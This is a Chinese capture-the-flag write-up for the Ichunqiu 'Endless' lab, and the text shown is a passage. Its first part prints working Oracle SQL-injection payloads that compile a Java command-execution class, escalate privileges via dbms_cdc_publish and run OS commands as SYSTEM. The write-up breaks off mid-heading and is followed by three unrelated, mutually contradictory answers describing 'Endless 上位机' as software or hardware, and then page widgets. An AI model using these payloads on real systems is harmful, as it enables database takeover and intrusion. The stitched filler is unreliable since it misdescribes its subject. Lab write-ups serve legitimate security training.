【原创】Ichunqiu云境 —— Endless(无间计划) Writeup

Ichunqiu云境 —— Endless(无间计划) Writeup

Author:小离-xiaoli

0x00 Intro

前言:

  • 两个入口点,一个入口点是pboot-cms,另外一个是SQL注入
  • 这边入口外网IP可能会有不一致得地方,因为靶场重启次数比较多,IP经常变化
  • OSCP风格,不使用CS/MSF
  • 这个靶场共有12个Flag

0x01 Recon

扫描结果:

  1. 入口点1 - SQL注入 (Linux):
    在这里插入图片描述

  2. 入口点2 - Pboot-CMS (Linux):
    在这里插入图片描述


0x02 入口点1 - SQL注入 (Linux)

前言:

  • 一个站库分离的oracle注入,web是linux,注入点可以通过oracle注入发现到是一个windows,权限非dba,只有java runtime permission,这里没截图
  • 这里前几次都没打成功,卡了挺久,后面搭建了个oracle和九世一起测试的
  • 不建议用SqlMap,会把站打挂,并且可以看源码发现sqlmap提权函数没有定义关于oracle数据库的攻击方法
  • Oracle 版本 Oracle Database 11g Enterprise Edition Release 11.2.0.1.0

  1. 直接上payload
1. 创建JAVA Source
admin' and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual)>1 --

2.提权
admin' AND (SELECT dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate '' begin sys.dbms_cdc_publish.create_change_set('''' a'''',''''a'''',''''a''''''''||TEST.pwn()||''''''''a'''',''''Y'''',s ysdate,sysdate);end;''; commit; end;') from dual)>1--

3.创建函数
admin' and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LINXRUNCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual)>1--

4.查询创建的函数
admin' union select null,(select object_name from all_objects where object_name ='LINXRUNCMD' and rownum=1),null from dual--

5.查询java source
admin' union select null,(select object_name from all_objects where object_name ='LinxUtil'),null from dual--

6.命令执行
admin' union select null,(select LINXRUNCMD('whoami') from dual),null from dual--
  1. 函数LINXRUNCMD创建成功
    在这里插入图片描述

  2. whoami,直接是system权限了
    在这里插入图片描述

  3. ipconfig,该数据库内网IP为 172.23.4.51,此时需要回到入口点2进入内网了
    在这里插入图片描述


## 0x0
### 回答1: Endless 上位机是一个功能强大的软件系统,它主要用于控制各种工业自动化设备。这个系统可以与不同的硬件设备进行通信,从而实现实时监测和控制。 Endless 上位机拥有丰富的可视化界面,用户可以通过图像、图表、动画等方式实时监控工业设备的运行状况。同时,该系统还具有智能报警和故障诊断功能,可以随时提醒用户设备运行中出现的问题,及时采取措施进行修复。 除此之外,Endless 上位机还支持多种通信协议,如RS232、RS485、CAN等,可以与各种常见的工业网络实现无缝连接。此外,该系统还支持多语言界面,可以适应全球化的应用需求。 总之,Endless 上位机是现代化工业制造中重要的控制系统之一,它可以提高工业自动化设备的效率和精度,缩短生产周期,降低维护成本,为企业带来了很大的实际利益和经济效益。 ### 回答2: Endless 上位机是指一种基于 Endless OS 操作系统的计算机,它具有广泛的应用和强大的性能。Endless 上位机的操作系统是基于 Linux 的,可以免费使用,并且拥有庞大的应用程序库,用户可以轻松地获取适合自己的工具。 Endless 上位机拥有相当出色的硬件性能,其内置的处理器和内存都具有高效能,可以轻松应对高强度的任务。同时,它还提供了多种内存容量和处理器型号供用户选择,从而满足不同的用户需求。 Endless 上位机可以用于个人或企业使用,拥有稳定可靠的性能和完善的安全机制。它可以进行多种应用开发,如应用程序开发、游戏开发、数据可视化等,并且可以与其他系统进行连接,实现更广泛的应用场景。 总体而言,Endless 上位机是一种性能强劲、应用广泛、功能多元、易于学习和使用的计算机系统。它能够满足多种场景下的需求,并为用户提供更加便捷、高效、安全和稳定的计算体验。 ### 回答3: Endless 上位机是一种高性能计算设备。它采用了多核处理器、高速存储器、高速网络接口等技术。其主要应用在工业控制、数据处理、模拟仿真、科学计算等领域。 Endless 上位机可以实现多项复杂运算,支持多种操作系统,可以满足用户的不同需求。通过其高效的计算能力和优良的稳定性,可以大大提高应用的效率和准确性。 Endless 上位机还具有丰富的接口和协议支持,可以方便地与其它设备进行数据交换和通信。同时,它还支持多用户环境和远程管理,可以实现多个用户同时对设备进行任务分配、管理和维护。 总之,Endless 上位机是一种高性能、高可靠性的计算设备,具有广泛的应用前景。无论是企业、科研机构还是个人用户,都可以根据自己的需求选择适合自己的 Endless 上位机,以提高工作效率和准确性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值